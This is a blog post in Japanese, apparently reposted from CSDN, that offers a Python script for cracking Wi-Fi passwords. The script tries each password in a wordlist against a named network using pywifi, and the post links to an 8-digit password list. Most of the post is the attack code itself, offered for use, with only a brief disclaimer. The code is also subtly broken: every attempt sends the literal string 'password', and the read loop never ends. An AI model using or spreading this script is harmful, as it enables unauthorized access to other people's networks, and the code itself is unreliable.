私は数日間、wifiをクラックするためにPythonを研究し、ついに成功しました。8桁のコードブックの詳細な使用法は記事にあります。

まず、すべての人にコードを渡します

# !/usr/bin/python3
# -*- coding: UTF-8 -*-
# author MCtongxin
import pywifi
import time
from pywifi import const
#测试链接 返回链接结果
def wificonnect(password):
    #抓取网卡接口
    wifi = pywifi.PyWiFi()
    #获取第一个网卡
    ifaces = wifi.interfaces()[0]
    #断开所有无线连接
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()

    if wifistatus == const.IFACE_DISCONNECTED:
        print("正在尝试:")
        #创建wifi连接文件
        profile = pywifi.Profile()
        profile.ssid ="wifi名称"
        profile.auth = const.AUTH_ALG_OPEN
        #加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        #测试密码
        profile.key = "password"
        #删除所有wifi文件
        ifaces.remove_all_network_profiles()
        #设定新的链接文件
        tep_profile = ifaces.add_network_profile(profile)
        #用新的连接 测试链接
        ifaces.connect(tep_profile)
        #连接时间
        time.sleep(60)
        if ifaces.status() == const.IFACE_CONNECTED:
            return  True
        else:
            return False
    else:
        print("已连接")

def readpassword():
    print("开始破解")
    path = "C:\\Users\81920\Desktop\桌面\python项目\破解wifi\pass.txt"
    file = open(path,"r")
    while True:
        try:
            passStr = file.readline()
            bool = wificonnect(passStr)
            if bool:
                print("密码正确",passStr)
                break
            else:
                print("密码错误",passStr)

        except:
            #跳出当前循环直接进行下次循环
            continue
readpassword()

指示

  1. line profile.ssid = "wifi name"で、引用符内のコンテンツを接続する名前に置き換えます
  2. path = "C:\ Users \ 81920 \ Desktop \ desktop \ python project \ crack wifi \ pass.txt"このコード行を、添付されたtxtファイルのパスに置き換えます
  3. txtコードブックリンクhttps://pan.baidu.com/s/1WQPuA2ODBBAN-rX87gedSA
    抽出コード:aoue
    注:
    盗難や違法取引などには使用できません。事故は私とは関係ありません。

おすすめ

転載: blog.csdn.net/qq_37412975/article/details/104275365